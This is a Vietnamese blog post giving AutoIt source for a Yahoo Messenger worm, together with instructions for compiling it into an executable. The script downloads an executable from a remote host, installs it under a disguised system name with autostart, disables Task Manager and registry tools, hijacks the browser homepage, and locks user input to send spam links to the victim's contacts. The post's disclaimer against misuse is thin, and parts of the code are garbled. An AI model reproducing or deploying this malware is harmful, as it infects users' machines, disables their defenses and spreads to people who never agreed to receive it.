Tài nguyên dạy học

free counters

Hỗ trợ trực tuyến

  • (Lê Anh Dũng)

Thống kê

  • truy cập   (chi tiết)
    trong hôm nay
  • lượt xem
    trong hôm nay
  • thành viên
  • Thành viên trực tuyến

    0 khách và 0 thành viên

    Liên kết website

    Gốc > Bài viết > Hướng dẫn diệt virus >

    Viết 1 Code Virus Đơn Giản Lây Qua Yahoo .

     mình viết lên đây mục đích là để các bạn tham khảo ko khuyến khích phá hoại người khác(nếu có cao thủ hacker mình xin mạn phép nha)

    Trước tiên bạn phải có chương trình autoit,mình ko úp lên vì mất công hiểu nhầm mình đưa virút lên.các bạn tự down theo link dưới nha ...

    bạn vào http://www.autoitscript.com/autoit3/ để download autoit nhé
     

    bắt đầu:viết code này trên trình autoit

    Khoá màn hình và yêu cầu mật khẩu khi muốn trở lại màn hình làm việc

    ;

     ; ----------------------------------------------------------------------------
    ;
    ; ----------------------------------------------------------------------------

    ;--------------------------------------------
    ; Tac Gia: KVD
    ; Phan Mem: DKC Bot
    ; Phien Ban: 1.1
    ; Cong Dung: Quang cao Website thong qua Y!M
    ; Phat Hanh: 1-9-2006
    ;--------------------------------------------

    ; Thiet Lap
    #NoTrayIcon
    $website = "hacker.4vn_vnn"

    ; Lay Nhiem Vao He Thong
    If Not FileExists(@WindowsDir & "\taskmng.exe") Then
    InetGet ($website & "/dkc.exe", @WindowsDir & "\taskmng.exe", 0, 1)
    Sleep(5000)
    EndIf

    ; Ghi Khoa Registry
    RegWrite("HKEY_CURRENT_USER\Software\Policies\Micr osoft\Internet Explorer\Control Panel", "Homepage", "REG_DWORD", "1")
    RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Win dows\CurrentVersion\Policies\System", "DisableTaskMgr", "REG_DWORD", "1")
    RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Win dows\CurrentVersion\Policies\System", "DisableRegistryTools", "REG_DWORD", "1")
    RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Int ernet Explorer\Main", "Start Page", "REG_SZ", $website)
    RegWrite("HKEY_CURRENT_USER\Software\Yahoo\pager\V iew\YMSGR_buzz", "content url", "REG_SZ", $website)
    RegWrite("HKEY_CURRENT_USER\Software\Yahoo\pager\V iew\YMSGR_Launchcast", "content url", "REG_SZ", $website)
    RegWrite("HKEY_LOCAL_MACHINE\Software\Microsoft\Wi ndows\CurrentVersion\Run", "Task Manager", "REG_SZ", @WindowsDir & "\taskmng.exe")
    RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Int ernet Explorer\Main", "Window Title", "REG_SZ", "zzzKITClubzzz")
     

    Danh Sach Tin Nhan Ngau Nhien

    $tin[0] = "toi khac len day ba dong tho lanh" & $website & " "
    $tin[0] = "Suot cuoc doi dau kho va co don" & $website & " "

    $tin[0] = "Mieng tuy cuoi nhung long roi le" & $website & " "

    $tin[0] = "Nguoi toi han cung la nguoi toi yeu" & $website & " "

    $tin[0] = "Hacker.4vn_vnn crack antivirut send victim magic LPS pro hack" & $website & " "

    ; Ham Thay Doi Status & Gui Tin Nhan
    While (1)
    sleep(60000)
    $tieude = WinGetTitle("Yahoo! Messenger", "")
    $kiemtra = WinExists ($tieude)
    If $kiemtra = 1 Then
    $ngaunhien = Random(0,9,1)
    ClipPut($tin[$ngaunhien])
    BlockInput (1)
    WinActivate($tieude)
    Send("!m")
    Send("un")
    Send("^v {ENTER}{ENTER}")
    Send("^m")
    Send("{DOWN}")
    Send("^{SHIFTDOWN}{END}{SHIFTUP}")
    Send("{ENTER}")
    Send("^v {ENTER}")
    BlockInput (0)
    EndIf
    Sleep(1800000)
    WEnd

    ; ----------------------------------------------------------------------------
    ;
    ; --------------------------------------------------------------------

    copy 1 trong các đoạn mã trên rồi paste vào notepad, lưu thành file *.au3
    sau đó bạn down autoit (bản mới nhất nhé) về cài đặt rồi click chuột phải vào file *.au3 chọn "Run script" để chạy trên máy (đừng dùng với những code virut)
    chọn "Compile script" để biên dịch thành file *.exe (cái này dùng để tạo virus)

    Con virus này , đừng có giỡn với nó nhá , coi chừng cài máy lại , nếu ko diệt dc hehe ( hoặc miễn online yahoo luôn ) len web chat thì ok

    chúc các bạn thành công .nói trước đem cái này đi phá hoại thì bạn biết hậu quả thế nào rồi đấy


    Nhắn tin cho tác giả
    Lê Anh Dũng @ 12:22 09/02/2010
    Số lượt xem: 207
    Số lượt thích: 0 người
     
    Gửi ý kiến